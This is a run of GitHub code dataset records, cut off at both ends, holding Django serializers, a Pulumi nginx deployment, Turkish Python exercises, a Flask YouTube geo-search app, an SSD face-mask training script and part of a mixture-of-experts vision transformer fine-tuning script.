else:\n return data\n\n#-------------------------------------------------------------------------------------------------\n\n# Serializers with Updated models\n\nclass ReviewSerializers(serializers.ModelSerializer):\n\n review_user = serializers.StringRelatedField(read_only=True)\n\n class Meta:\n model = Review\n #fields = \"__all__\"\n exclude = ['watchlist']\n\n\nclass WatchlistSerializers(serializers.ModelSerializer):\n\n reviews = ReviewSerializers(many = True, read_only=True)\n\n class Meta:\n model = Watchlist\n fields = \"__all__\"\n\n\nclass StreamPlatformSerializers(serializers.ModelSerializer):\n\n watchlist = WatchlistSerializers(many=True, read_only=True)\n\n # watchlist = serializers.StringRelatedField(many=True)\n\n # watchlist = serializers.PrimaryKeyRelatedField(many=True, read_only=True)\n\n '''\n watchlist = serializers.HyperlinkedRelatedField(\n many=True,\n read_only=True,\n view_name='watch_detail'\n )\n\n # context={'request': request} should be passed in get views\n '''\n class Meta:\n model = StreamPlatform\n fields = \"__all__\"","repo_name":"Chandu77HA/DRF-and-API-Learning-Udemy","sub_path":"watchlist_app/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2217683843","text":"import pulumi\nfrom pulumi import Config, ResourceOptions\nfrom pulumi_kubernetes import Provider\nfrom pulumi_kubernetes.apps.v1 import Deployment\n\nconfig = Config()\n\nnamespace = config.get(\"namespace\") or \"default\"\n\nprovider = Provider(\"kubernetes\", namespace=namespace)\n\napp_labels = {\"app\": \"nginx\"}\n\ndeployment = Deployment(\n \"nginx\",\n spec={\n \"selector\": {\"match_labels\": app_labels},\n \"replicas\": 1,\n \"template\": {\n \"metadata\": {\"labels\": app_labels},\n \"spec\": {\"containers\": [{\"name\": \"nginx\", \"image\": \"nginx\"}]},\n },\n },\n opts=ResourceOptions(provider=provider),\n)\n\npulumi.export(\"name\", deployment.metadata[\"name\"])\n","repo_name":"garethr/pulumi-okteto-conftest-demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"8366170977","text":"# -*- coding: utf-8 -*-\nkelime=\"merhaba\"\n\"\"\"\nprint(kelime[len(kelime)-1])\n0\n1\n2\n3\n4\n5\n6\n\nfor i in range(0,len(kelime)):\n print(kelime[i])\n\n\n\nfor i in \"naber napıyorsun?\":\n if i==\"n\":\n print(\"*\")\n else:\n print(i)\n\n\nprint(\"naber\".replace(\"a\",\"A\"))\n\n\nprint(\" 99 ahmet -\".strip())\n\nverilen metnin basındaki ve sonundaki boşlukları temizler\n\n\n\nprint(len(\"kelime\"))\nprint(len(\" kelime \".strip()))\n\n\nprint(ord(\"A\"))\n\n# içerisine girilen tek karakterin ascii kodunu döndürür\n\nprint(chr(97))\n\n# içerisine girilen sayı değerinin karakterini getirir\n\nprint(bin(2))\n\n# içerisine girilen sayı değerini binary(ikili) formata çevirir.\n\n#1. yol\ndosya = open(\"deneme.txt\",\"r\").read()\nprint(dosya)\n\nfor i in open(\"deneme.txt\").readlines():\n print(i.capitalize(),end=\"\")\n\n#mode append\n\nopen(\"deneme.txt\",\"a\").write(\"naber\\n\")\n\n# mode write\n\nopen(\"deneme.txt\",\"w\").write(\"naber\\n\")\n\n# 2. yol\n\nwith open(\"deneme.txt\",\"a\") as f:\n f.write(input(\"bişey yaz\"))\n f.close()\n\n\"\"\"\n\n\"\"\"\ndosyada bununan bir metindeki harfler yanlış yazılmıştır. Ayşe adlı öğrenci m harfi yerine yanlışlıkla\nö harfine basmıştır. bu hatayı düzeltip dosyayı yeniden yazınız.\n\n\ndosyaIcerik = open(\"ayseodev.txt\",\"r\").read()\n\nyeniIcerik = dosyaIcerik.lower().replace(\"ö\",\"m\")\n\nopen(\"ayseodevv2.txt\",\"w\").write(yeniIcerik)\n\n\"\"\"","repo_name":"sandiklibilgisayarprogramlama/pt-2020","sub_path":"hafta15.py","file_name":"hafta15.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74719040251","text":"import os\nimport re\nfrom flask import Flask, jsonify, render_template, request, url_for, json\nfrom flask_jsglue import JSGlue\n\nfrom helpers import youtubesearch\n\n# configure application\napp = Flask(__name__)\nJSGlue(app)\n\n# ensure responses aren't cached\nif app.config[\"DEBUG\"]:\n @app.after_request\n def after_request(response):\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n response.headers[\"Expires\"] = 0\n response.headers[\"Pragma\"] = \"no-cache\"\n return response\n\n@app.route(\"/\")\ndef index():\n \"\"\"Render map.\"\"\"\n if not os.environ.get(\"API_KEY\"):\n raise RuntimeError(\"API_KEY not set\")\n return render_template(\"index.html\", key=os.environ.get(\"API_KEY\"))\n\n@app.route(\"/geo\")\ndef geo():\n \"\"\"Look up videos for youtubegeo.\"\"\"\n\n # ensure parameters are present\n if not request.args.get(\"location\"):\n raise RuntimeError(\"missing youtube geodata\")\n query = {\n 'q' : request.args.get('q'),\n 'location' : request.args.get('location'),\n 'locationRadius' : request.args.get('locationRadius'),\n 'maxResults' : request.args.get('maxResults')\n }\n key=os.environ.get(\"API_KEY\")\n videos = youtubesearch(query, key)\n return jsonify(videos)\n","repo_name":"zmytryc/youtubegeosearch","sub_path":"project/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17088528391","text":"from lib import *\nfrom make_datapath import make_datapath_list\nfrom utils.random_array import train_val_separate\nfrom dataset import MyDataset, my_collate_fn\nfrom transform import Transform\nfrom extract_annotation import Anno_xml\nfrom model import SSD\nfrom multiboxloss import MultiBoxLoss\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\nprint(\"device:\", device)\ntorch.backends.cudnn.benchmark = True\ntorch.cuda.empty_cache()\n\n# create dataloader\nroot_path = \"./data/face_mask\"\nimgs, anns = make_datapath_list(root_path)\n\ntrain_imgs, train_anns, val_imgs, val_anns = train_val_separate(imgs,anns,0.9)\nclasses = [\"with_mask\", \"without_mask\", \"mask_weared_incorrect\"]\n\ncolor_mean = (104, 117, 123)\ninput_size = 300\n\ntransform = Transform(input_size, color_mean)\nanno_xml = Anno_xml(classes)\ntrain_dataset = MyDataset(train_imgs, train_anns, phase=\"train\", transform=transform, anno_xml= anno_xml)\nval_dataset = MyDataset(val_imgs, val_anns, phase=\"val\", transform=transform, anno_xml=anno_xml)\n\nbatch_size = 8\ntrain_dataloader = data.DataLoader(train_dataset, batch_size, shuffle=True, collate_fn=my_collate_fn)\nval_dataloader = data.DataLoader(val_dataset, batch_size, shuffle=False, collate_fn=my_collate_fn)\n\ndataLoader_dict = {\n \"train\": train_dataloader,\n \"val\": val_dataloader\n}\n\n\n# Create network\ncfg = {\n \"num_classes\": 4,\n \"input_size\": 300,\n \"bbox_aspect_num\": [4,6,6,6,4,4], #Num of anchor box of each feature map position of each source\n \"feature_map\": [38,19,10,5,3,1], #Size of feature of each source\n \"steps\": [8, 16, 32, 64, 100, 300],\n \"max_size\" : [60, 111, 162, 213, 264, 315],\n \"min_size\" : [30, 60, 111, 162, 213, 264],\n \"aspect_ratios\": [[2],[2,3],[2,3],[2,3],[2],[2]]\n}\nnet = SSD(cfg=cfg, phase=\"train\")\n\nvgg_weight = torch.load(\"./data/weights/vgg16_reducedfc.pth\")\n\nnet.vgg.load_state_dict(vgg_weight)\n\ndef weight_init(m):\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight.data)\n if m.bias is not None:\n nn.init.constant_(m.bias,0.0)\n\n#Init weight of network\nnet.extras.apply(weight_init)\nnet.loc.apply(weight_init)\nnet.conf.apply(weight_init)\n\n#Create Multiboxloss\ncriterion = MultiBoxLoss(0.45, 3, device.type)\n\n#create optimizer\noptimizer = optim.SGD(net.parameters(), lr=1e-3, momentum=0.9,weight_decay=5e-4)\n\n\n#Training:\ndef train_model(net, dataloader_dict, criterion, optimizer, num_epochs):\n # move network to gpu\n net.to(device)\n\n iteration = 1\n epoch_train_loss = 0.0\n epoch_val_loss = 0.0\n logs = []\n\n for epoch in range(num_epochs):\n t_epoch_start = time.time()\n t_iter_start = time.time()\n\n print(\"----\"*30)\n print(\"Epoch:{}/{}\".format(epoch + 1, num_epochs))\n print(\"----\"*30)\n\n for phase in [\"train\", \"val\"]:\n if phase == \"train\":\n net.train()\n print(\"(Training)\")\n else:\n if (epoch + 1) % 10 == 0:\n net.eval()\n print(\"---\"*10)\n print(\"(Validating)\")\n else:\n continue\n for images, targets in dataloader_dict[phase]:\n # move images, annotation target to gpu\n images = images.to(device)\n targets = [ann.to(device) for ann in targets]\n\n # init optimizer\n optimizer.zero_grad()\n\n #forward ()\n # in phase trainging: weight trainable = true\n with torch.set_grad_enabled(phase==\"train\"):\n outputs = net(images)\n # print(np.shape(targets))\n loss_l, loss_c = criterion(outputs, targets)\n loss = loss_l + loss_c\n\n if phase == \"train\":\n loss.backward() #calcuate gradient\n nn.utils.clip_grad.clip_grad_value_(net.parameters(),clip_value=2.0)\n optimizer.step() #update parameter\n\n if (iteration % 10) == 0:\n t_iter_end = time.time()\n duration = t_iter_end - t_iter_start\n print(\"Iteration {} || Loss: {:4f} || 10iter:{:4f} secs\".format(iteration, loss.item(), duration))\n t_iter_start = time.time()\n epoch_train_loss += loss.item()\n iteration += 1\n else:\n epoch_val_loss += loss.item()\n t_epoch_end = time.time()\n epoch_duration = t_epoch_end - t_epoch_start\n print(\"----\"*30)\n print(\"Epoch {} || Epoch_train_loss: {:4f} || Epoch_val_loss: {:4f}\".format(epoch+1,epoch_train_loss, epoch_val_loss))\n print(\"Duration: {:4f} secs\".format(epoch_duration))\n t_epoch_start = time.time()\n\n log_epoch = {\n \"epoch\": epoch + 1,\n \"train_loss\": epoch_train_loss,\n \"val_loss\": epoch_val_loss,\n }\n\n logs.append(log_epoch)\n\n df = pd.DataFrame(logs)\n\n df.to_csv(\"./data/ssd_logs.csv\")\n\n #reset loss using in next epochs\n epoch_train_loss = 0.0\n epoch_val_loss = 0.0\n\n if ((epoch + 1) % 10 == 0):\n torch.save(net.state_dict(), \"./data/weights/ssd300_epoch{}.pth\".format(epoch+1))\n\n\n\nnum_epochs = 60\n\ntrain_model(net, dataLoader_dict,criterion, optimizer,num_epochs)\n\n","repo_name":"hnimtadd/face_mask_detection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15704087477","text":"import argparse\nimport math\nimport os\nimport random\nimport shutil\nimport datetime\nimport numpy as np\nimport time\nimport warnings\nimport fmoe\nimport copy\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torchvision.models as torchvision_models\nimport torch.distributed\nfrom torch.distributed import Backend\nimport json\n\nfrom pathlib import Path\n\nfrom timm.data import Mixup\nfrom timm.loss import LabelSmoothingCrossEntropy, SoftTargetCrossEntropy\nfrom timm.scheduler import create_scheduler\nfrom timm.optim import create_optimizer\nfrom timm.utils import NativeScaler, get_state_dict, ModelEma\nfrom timm.utils.clip_grad import dispatch_clip_grad\n\nfrom deit_utils.datasets import build_dataset\nfrom deit_utils.engine import train_one_epoch, evaluate\nfrom deit_utils.losses import DistillationLoss\nfrom deit_utils.samplers import RASampler\nfrom models import vits_gate, vits_moe, vits\nimport utils\nfrom utils.lr_sched import adjust_learning_rate\n\nfrom utils.utils import logger, accuracy, sync_weights\nfrom utils.moe_utils import read_specific_group_experts, collect_moe_model_state_dict, save_checkpoint, \\\n collect_noisy_gating_loss, prune_moe_experts\nfrom utils.init_datasets import init_datasets\n\nfrom models.vits_gate import VisionTransformerMoCoWithGate\n\nfrom pdb import set_trace\n\ndef get_args_parser():\n parser = argparse.ArgumentParser('DeiT training and evaluation script', add_help=False)\n\n parser.add_argument('experiment', type=str)\n parser.add_argument('--save_dir', type=str, default=\"checkpoints_moco\")\n parser.add_argument('--pretrained', default='', type=str, help='path to moco pretrained checkpoint')\n parser.add_argument('--finetune_in_train', action='store_true', help='if employ finetune for training')\n\n parser.add_argument('--batch-size', default=1024, type=int)\n parser.add_argument('--epochs', default=300, type=int)\n\n # Model parameters\n parser.add_argument('--arch', default='resnet50', type=str, help='model architecture')\n parser.add_argument('--input-size', default=224, type=int, help='images input size')\n\n parser.add_argument('--drop', type=float, default=0.0, metavar='PCT',\n help='Dropout rate (default: 0.)')\n parser.add_argument('--drop-path', type=float, default=0.1, metavar='PCT',\n help='Drop path rate (default: 0.1)')\n\n parser.add_argument('--model-ema', action='store_true')\n parser.add_argument('--no-model-ema', action='store_false', dest='model_ema')\n parser.set_defaults(model_ema=True)\n parser.add_argument('--model-ema-decay', type=float, default=0.99996, help='')\n parser.add_argument('--model-ema-force-cpu', action='store_true', default=False, help='')\n\n # moe parameters\n parser.add_argument('--moe-experts', default=4, type=int, help='moe experts number')\n parser.add_argument('--moe-mlp-ratio', default=-1, type=int, help='moe dim')\n parser.add_argument('--moe-top-k', default=2, type=int, help='moe top k')\n parser.add_argument('--moe-noisy-gate-loss-weight', default=0.01, type=float)\n parser.add_argument('--moe-gate-type', default=\"noisy\", type=str)\n parser.add_argument('--vmoe-noisy-std', default=0, type=float)\n\n # Optimizer parameters\n parser.add_argument('--opt', default='adamw', type=str, metavar='OPTIMIZER',\n help='Optimizer (default: \"adamw\"')\n parser.add_argument('--opt-eps', default=1e-8, type=float, metavar='EPSILON',\n help='Optimizer Epsilon (default: 1e-8)')\n parser.add_argument('--opt-betas', default=None, type=float, nargs='+', metavar='BETA',\n help='Optimizer Betas (default: None, use opt default)')\n parser.add_argument('--clip-grad', type=float, default=None, metavar='NORM',\n help='Clip gradient norm (default: None, no clipping)')\n parser.add_argument('--momentum', type=float, default=0.9, metavar='M',\n help='SGD momentum (default: 0.9)')\n parser.add_argument('--weight-decay', type=float, default=0.05,\n help='weight decay (default: 0.05)')\n # Learning rate schedule parameters\n parser.add_argument('--sched', default='cosine', type=str, metavar='SCHEDULER',\n help='LR scheduler (default: \"cosine\"')\n parser.add_argument('--lr', type=float, default=5e-4, metavar='LR',\n help='learning rate (default: 5e-4)')\n parser.add_argument('--lr-noise', type=float, nargs='+', default=None, metavar='pct, pct',\n help='learning rate noise on/off epoch percentages')\n parser.add_argument('--lr-noise-pct', type=float, default=0.67, metavar='PERCENT',\n help='learning rate noise limit percent (default: 0.67)')\n parser.add_argument('--lr-noise-std', type=float, default=1.0, metavar='STDDEV',\n help='learning rate noise std-dev (default: 1.0)')\n parser.add_argument('--warmup-lr', type=float, default=1e-6, metavar='LR',\n help='warmup learning rate (default: 1e-6)')\n parser.add_argument('--min-lr', type=float, default=1e-5, metavar='LR',\n help='lower lr bound for cyclic schedulers that hit 0 (1e-5)')\n parser.add_argument('--kaiming-sched', action=\"store_true\",\n help='if use the lr schedule kaiming used')\n\n parser.add_argument('--decay-epochs', type=float, default=30, metavar='N',\n help='epoch interval to decay LR')\n parser.add_argument('--warmup-epochs', type=int, default=5, metavar='N',\n help='epochs to warmup LR, if scheduler supports')\n parser.add_argument('--cooldown-epochs', type=int, default=10, metavar='N',\n help='epochs to cooldown LR at min_lr, after cyclic schedule ends')\n parser.add_argument('--patience-epochs', type=int, default=10, metavar='N',\n help='patience epochs for Plateau LR scheduler (default: 10')\n parser.add_argument('--decay-rate', '--dr', type=float, default=0.1, metavar='RATE',\n help='LR decay rate (default: 0.1)')\n\n # Augmentation parameters\n parser.add_argument('--color-jitter', type=float, default=0.4, metavar='PCT',\n help='Color jitter factor (default: 0.4)')\n parser.add_argument('--aa', type=str, default='rand-m9-mstd0.5-inc1', metavar='NAME',\n help='Use AutoAugment policy. \"v0\" or \"original\". \" + \\\n \"(default: rand-m9-mstd0.5-inc1)'),\n parser.add_argument('--smoothing', type=float, default=0.1, help='Label smoothing (default: 0.1)')\n parser.add_argument('--train-interpolation', type=str, default='bicubic',\n help='Training interpolation (random, bilinear, bicubic default: \"bicubic\")')\n\n parser.add_argument('--repeated-aug', action='store_true')\n parser.add_argument('--no-repeated-aug', action='store_false', dest='repeated_aug')\n parser.set_defaults(repeated_aug=True)\n\n # * Random Erase params\n parser.add_argument('--reprob', type=float, default=0.25, metavar='PCT',\n help='Random erase prob (default: 0.25)')\n parser.add_argument('--remode', type=str, default='pixel',\n help='Random erase mode (default: \"pixel\")')\n parser.add_argument('--recount', type=int, default=1,\n help='Random erase count (default: 1)')\n parser.add_argument('--resplit', action='store_true', default=False,\n help='Do not random erase first (clean) augmentation split')\n\n # * Mixup params\n parser.add_argument('--mixup', type=float, default=0.8,\n help='mixup alpha, mixup enabled if > 0. (default: 0.8)')\n parser.add_argument('--cutmix', type=float, default=1.0,\n help='cutmix alpha, cutmix enabled if > 0. (default: 1.0)')\n parser.add_argument('--cutmix-minmax', type=float, nargs='+', default=None,\n help='cutmix min/max ratio, overrides alpha and enables cutmix if set (default: None)')\n parser.add_argument('--mixup-prob', type=float, default=1.0,\n help='Probability of performing mixup or cutmix when either/both is enabled')\n parser.add_argument('--mixup-switch-prob', type=float, default=0.5,\n help='Probability of switching to cutmix when both mixup and cutmix enabled')\n parser.add_argument('--mixup-mode', type=str, default='batch',\n help='How to apply mixup/cutmix params. Per \"batch\", \"pair\", or \"elem\"')\n\n # Distillation parameters\n parser.add_argument('--teacher-model', default='regnety_160', type=str, metavar='MODEL',\n help='Name of teacher model to train (default: \"regnety_160\"')\n parser.add_argument('--teacher-path', type=str, default='')\n parser.add_argument('--distillation-type', default='none', choices=['none', 'soft', 'hard'], type=str, help=\"\")\n parser.add_argument('--distillation-alpha', default=0.5, type=float, help=\"\")\n parser.add_argument('--distillation-tau', default=1.0, type=float, help=\"\")\n\n # Dataset parameters\n parser.add_argument('--data', metavar='DIR', default=\"\", help='path to dataset')\n parser.add_argument('--dataset', default=\"imagenet\", help='dataset')\n parser.add_argument('--customSplit', type=str, default='')\n parser.add_argument('--tuneFromFirstFC', action=\"store_true\", help=\"if tune from the first fc\")\n parser.add_argument('--inat-category', default='name',\n choices=['kingdom', 'phylum', 'class', 'order', 'supercategory', 'family', 'genus', 'name'],\n type=str, help='semantic granularity')\n\n parser.add_argument('--device', default='cuda',\n help='device to use for training / testing')\n parser.add_argument('--seed', default=0, type=int)\n parser.add_argument('--resume', default='', help='resume from checkpoint')\n parser.add_argument('--start_epoch', default=0, type=int, metavar='N',\n help='start epoch')\n parser.add_argument('--eval', action='store_true', help='Perform evaluation only')\n parser.add_argument('--dist-eval', action='store_true', default=False, help='Enabling distributed evaluation')\n parser.add_argument('--num_workers', default=5, type=int)\n parser.add_argument('--test-interval', default=1, type=int)\n parser.add_argument('--pin-mem', action='store_true',\n help='Pin CPU memory in DataLoader for more efficient (sometimes) transfer to GPU.')\n parser.add_argument('--no-pin-mem', action='store_false', dest='pin_mem',\n help='')\n parser.set_defaults(pin_mem=True)\n # only use this for cls token for simplicity\n parser.add_argument('--moe-contrastive-weight', default=-1, type=float)\n parser.add_argument('--moe-contrastive-supervised', action=\"store_true\")\n\n # distributed training parameters\n parser.add_argument('--local_rank', default=-1, type=int, help='GPU id to use.')\n parser.add_argument('--moe-data-distributed', action=\"store_true\", help='if use moe-data-distributed')\n return parser\n\n\ndef create_model(args, nb_classes, log):\n log.info(\"=> creating model '{}'\".format(args.arch))\n args.moe_use_gate = False\n if args.arch.startswith('vit'):\n model = vits.__dict__[args.arch](num_classes=nb_classes)\n linear_keyword = 'head'\n elif args.arch.startswith('moe_vit'):\n if args.moe_data_distributed:\n moe_world_size = 1\n else:\n moe_world_size = torch.distributed.get_world_size()\n if args.moe_experts % moe_world_size != 0:\n print(\"experts number of {} is not divisible by world size of {}\".format(args.moe_experts, moe_world_size))\n args.moe_experts = args.moe_experts // moe_world_size\n\n if args.moe_use_gate:\n gate_model = vits_gate.__dict__[args.moe_gate_arch](num_classes=0)\n model = vits_moe.__dict__[args.arch](moe_mlp_ratio=args.moe_mlp_ratio, moe_experts=args.moe_experts, moe_top_k=args.moe_top_k,\n world_size=moe_world_size, gate_dim=gate_model.num_features,\n num_classes=nb_classes,\n moe_gate_type=args.moe_gate_type, vmoe_noisy_std=args.vmoe_noisy_std)\n model = VisionTransformerMoCoWithGate(model, gate_model)\n else:\n model = vits_moe.__dict__[args.arch](moe_experts=args.moe_experts, moe_top_k=args.moe_top_k,\n world_size=moe_world_size,\n moe_mlp_ratio=args.moe_mlp_ratio,\n num_classes=nb_classes,\n moe_gate_type=args.moe_gate_type, vmoe_noisy_std=args.vmoe_noisy_std)\n linear_keyword = 'head'\n else:\n model = torchvision_models.__dict__[args.arch](num_classes=nb_classes)\n linear_keyword = 'fc'\n assert not args.tuneFromFirstFC\n\n if args.tuneFromFirstFC:\n middle_dim = 4096\n ch = model.head.in_features\n num_class = model.head.out_features\n model.head = nn.Sequential(nn.Linear(ch, middle_dim, bias=False), nn.Linear(middle_dim, num_class))\n\n return model, linear_keyword\n\n\ndef cvt_state_dict(state_dict, model, args, linear_keyword, moe_dir_mode=False, tuneFromFirstFC=False):\n # rename moco pre-trained keys\n for k in list(state_dict.keys()):\n # retain only base_encoder up to before the embedding layer\n if k.startswith('module.base_encoder') and not k.startswith('module.base_encoder.%s' % linear_keyword):\n # remove prefix\n state_dict[k[len(\"module.base_encoder.\"):]] = state_dict[k]\n\n if k.startswith('module.base_encoder.%s.0' % linear_keyword) and tuneFromFirstFC:\n state_dict[k[len(\"module.base_encoder.\"):]] = state_dict[k]\n\n # delete renamed or unused k\n del state_dict[k]\n\n if \"moe\" in args.arch and (not moe_dir_mode) and (not args.moe_data_distributed):\n # if args.local_rank == 0:\n # print(\"state dict block1 h4toh avg is {}\".format(state_dict[\"blocks.1.mlp.experts.h4toh.weight\"].mean(-1).mean(-1)))\n state_dict = read_specific_group_experts(state_dict, torch.distributed.get_rank(), args.moe_experts)\n\n args.start_epoch = 0\n msg = model.load_state_dict(state_dict, strict=False)\n\n if tuneFromFirstFC:\n print(msg.missing_keys)\n assert set(msg.missing_keys) == {\"%s.1.weight\" % linear_keyword, \"%s.1.bias\" % linear_keyword}\n else:\n assert set(msg.missing_keys) == {\"%s.weight\" % linear_keyword, \"%s.bias\" % linear_keyword}\n\n return model\n\n\nclass NativeScalerForMoe:\n state_dict_key = \"amp_scaler\"\n\n def __init__(self, model):\n self.model = model\n self._scaler = torch.cuda.amp.GradScaler()\n\n def __call__(self, loss, optimizer, clip_grad=None, clip_mode='norm', parameters=None, create_graph=False):\n self._scaler.scale(loss).backward(create_graph=create_graph)\n self.model.allreduce_params()\n if clip_grad is not None:\n assert parameters is not None\n self._scaler.unscale_(optimizer) # unscale the gradients of optimizer's assigned params in-place\n dispatch_clip_grad(parameters, clip_grad, mode=clip_mode)\n self._scaler.step(optimizer)\n self._scaler.update()\n\n def state_dict(self):\n return self._scaler.state_dict()\n\n def load_state_dict(self, state_dict):\n self._scaler.load_state_dict(state_dict)\n\n\ndef main(args):\n torch.distributed.init_process_group(backend=Backend.NCCL, init_method=\"env://\")\n torch.distributed.barrier()\n torch.cuda.set_device(args.local_rank)\n\n best_acc1 = -1\n\n logName = \"log.txt\"\n output_dir = args.output_dir\n log = logger(path=output_dir, log_name=logName, local_rank=torch.distributed.get_rank())\n\n log.info(str(args))\n\n # global batchsize to batchsize of each gpu\n if args.batch_size % torch.distributed.get_world_size() != 0:\n raise ValueError(\"Batch size of {} is not divisible by world size of {}\".format(args.batch_size, torch.distributed.get_world_size()))\n args.batch_size = int(args.batch_size / torch.distributed.get_world_size())\n\n if args.distillation_type != 'none' and args.pretrained and not args.eval:\n raise NotImplementedError(\"Finetuning with distillation not yet supported\")\n\n device = torch.device(args.device)\n print(\"device is {}\".format(device))\n\n # fix the seed for reproducibility\n seed = args.seed + torch.distributed.get_rank()\n torch.manual_seed(seed)\n np.random.seed(seed)\n # random.seed(seed)\n\n cudnn.benchmark = True\n\n dataset_train, dataset_val, dataset_test = build_dataset(args=args)\n\n if True: # args.distributed:\n num_tasks = torch.distributed.get_world_size()\n global_rank = torch.distributed.get_rank()\n if args.repeated_aug:\n sampler_train = RASampler(\n dataset_train, num_replicas=num_tasks, rank=global_rank, shuffle=True\n )\n else:\n sampler_train = torch.utils.data.DistributedSampler(\n dataset_train, num_replicas=num_tasks, rank=global_rank, shuffle=True\n )\n # if args.dist_eval:\n # if len(dataset_val) % num_tasks != 0:\n # log.info('Warning: Enabling distributed evaluation with an eval dataset not divisible by process number. '\n # 'This will slightly alter validation results as extra duplicate entries are added to achieve '\n # 'equal num of samples per-process.')\n sampler_val = torch.utils.data.DistributedSampler(\n dataset_val, num_replicas=num_tasks, rank=global_rank, shuffle=False)\n # sampler_test = torch.utils.data.DistributedSampler(\n # dataset_test, num_replicas=num_tasks, rank=global_rank, shuffle=False)\n # else:\n # sampler_val = torch.utils.data.SequentialSampler(dataset_val)\n sampler_test = torch.utils.data.SequentialSampler(dataset_test)\n else:\n sampler_train = torch.utils.data.RandomSampler(dataset_train)\n sampler_val = torch.utils.data.SequentialSampler(dataset_val)\n\n data_loader_train = torch.utils.data.DataLoader(\n dataset_train, sampler=sampler_train,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=True,\n )\n\n data_loader_val = torch.utils.data.DataLoader(\n dataset_val, sampler=sampler_val,\n batch_size=int(1.5 * args.batch_size),\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=False\n )\n\n data_loader_test = torch.utils.data.DataLoader(\n dataset_test, sampler=sampler_test,\n batch_size=int(1.5 * args.batch_size),\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=False\n )\n\n args.nb_classes = len(np.unique(dataset_train.targets))\n\n mixup_fn = None\n mixup_active = args.mixup > 0 or args.cutmix > 0. or args.cutmix_minmax is not None\n if mixup_active:\n mixup_fn = Mixup(\n mixup_alpha=args.mixup, cutmix_alpha=args.cutmix, cutmix_minmax=args.cutmix_minmax,\n prob=args.mixup_prob, switch_prob=args.mixup_switch_prob, mode=args.mixup_mode,\n label_smoothing=args.smoothing, num_classes=args.nb_classes)\n\n log.info(f\"Creating model: {args.arch}\")\n # TODO: change the way for defining model\n model, linear_keyword = create_model(args, args.nb_classes, log)\n\n if args.pretrained:\n if args.pretrained.startswith('https'):\n assert False\n checkpoint = torch.hub.load_state_dict_from_url(\n args.pretrained, map_location='cpu', check_hash=True)\n else:\n if os.path.isfile(args.pretrained) or os.path.isdir(args.pretrained):\n log.info(\"=> loading checkpoint '{}'\".format(args.pretrained))\n if os.path.isfile(args.pretrained):\n checkpoint = torch.load(args.pretrained, map_location=\"cpu\")\n moe_dir_read = False\n elif os.path.isdir(args.pretrained):\n checkpoint = torch.load(os.path.join(args.pretrained, \"0.pth\".format(torch.distributed.get_rank())),\n map_location=\"cpu\")\n len_save = len([f for f in os.listdir(args.pretrained) if \"pth\" in f])\n if args.moe_data_distributed:\n moe_world_size = 1\n response_cnt = [i for i in range(len_save)]\n else:\n moe_world_size = torch.distributed.get_world_size()\n assert len_save % moe_world_size == 0\n response_cnt = [i for i in range(\n torch.distributed.get_rank() * (len_save // moe_world_size),\n (torch.distributed.get_rank() + 1) * (len_save // moe_world_size))]\n # merge all ckpts\n for cnt, cnt_model in enumerate(response_cnt):\n if cnt_model != 0:\n checkpoint_specific = torch.load(os.path.join(args.pretrained, \"{}.pth\".format(cnt_model)),\n map_location=\"cpu\")\n if cnt != 0:\n for key, item in checkpoint_specific[\"state_dict\"].items():\n checkpoint[\"state_dict\"][key] = torch.cat([checkpoint[\"state_dict\"][key], item],\n dim=0)\n else:\n checkpoint[\"state_dict\"].update(checkpoint_specific[\"state_dict\"])\n moe_dir_read = True\n else:\n raise ValueError(\"Model {} do not exist\".format(args.pretrained))\n\n if \"mae\" in args.pretrained and \"model\" in checkpoint:\n state_dict = checkpoint[\"model\"]\n args.start_epoch = 0\n msg = model.load_state_dict(state_dict, strict=False)\n assert set(msg.missing_keys) == {\"%s.weight\" % linear_keyword, \"%s.bias\" % linear_keyword}\n elif args.moe_use_gate:\n assert not args.tuneFromFirstFC\n state_dict = checkpoint['state_dict']\n model = cvt_state_dict_moe_gate(state_dict, model, args, linear_keyword)\n else:\n state_dict = checkpoint['state_dict']\n model = cvt_state_dict(state_dict, model, args, linear_keyword, moe_dir_read, args.tuneFromFirstFC)\n\n log.info(\"=> loaded pre-trained model '{}'\".format(args.pretrained))\n else:\n raise ValueError(\"no such check point\")\n\n # state_dict = model.state_dict()\n # # interpolate position embedding\n # pos_embed_checkpoint = checkpoint_model['pos_embed']\n # embedding_size = pos_embed_checkpoint.shape[-1]\n # num_patches = model.patch_embed.num_patches\n # num_extra_tokens = model.pos_embed.shape[-2] - num_patches\n # # height (== width) for the checkpoint position embedding\n # orig_size = int((pos_embed_checkpoint.shape[-2] - num_extra_tokens) ** 0.5)\n # # height (== width) for the new position embedding\n # new_size = int(num_patches ** 0.5)\n # # class_token and dist_token are kept unchanged\n # extra_tokens = pos_embed_checkpoint[:, :num_extra_tokens]\n # # only the position tokens are interpolated\n # pos_tokens = pos_embed_checkpoint[:, num_extra_tokens:]\n # pos_tokens = pos_tokens.reshape(-1, orig_size, orig_size, embedding_size).permute(0, 3, 1, 2)\n # pos_tokens = torch.nn.functional.interpolate(\n # pos_tokens, size=(new_size, new_size), mode='bicubic', align_corners=False)\n # pos_tokens = pos_tokens.permute(0, 2, 3, 1).flatten(1, 2)\n # new_pos_embed = torch.cat((extra_tokens, pos_tokens), dim=1)\n # 